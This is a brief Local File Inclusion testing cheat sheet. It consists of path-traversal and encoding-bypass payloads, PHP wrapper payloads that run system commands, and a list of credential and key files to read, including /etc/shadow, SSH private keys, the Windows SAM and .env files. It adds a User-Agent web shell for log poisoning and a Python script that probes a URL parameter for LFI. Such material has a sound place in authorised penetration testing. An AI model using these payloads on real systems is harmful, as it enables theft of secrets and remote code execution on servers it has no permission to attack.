Local File Inclusion testing methodology
LFI allows attackers to include files from the server, potentially reading sensitive data or achieving RCE.
../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
....\/....\/....\/etc/passwd
../../../etc/passwd%00
../../../etc/passwd%00.jpg
../../../etc/passwd.......................
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd
php://input
POST data: <?php system('id'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
expect://id
zip://shell.jpg%23shell.php
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/proc/self/cmdline
/var/log/apache2/access.log
~/.ssh/id_rsa
C:\Windows\System32\config\SAM
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config
../config/database.yml
../.env
../wp-config.php
# Inject PHP in User-Agent
User-Agent: <?php system($_GET['cmd']); ?>
# Include the log
../../../var/log/apache2/access.log&cmd=id
import requests
import base64
def test_lfi(url, param):
payloads = [
'../../../etc/passwd',
'php://filter/convert.base64-encode/resource=/etc/passwd',
]
for payload in payloads:
r = requests.get(url, params={param: payload})
if 'root:' in r.text:
print(f"[+] LFI found with: {payload}")
return True
# Check for base64 encoded output
try:
decoded = base64.b64decode(r.text)
if b'root:' in decoded:
print(f"[+] LFI found (base64): {payload}")
return True
except:
pass
return False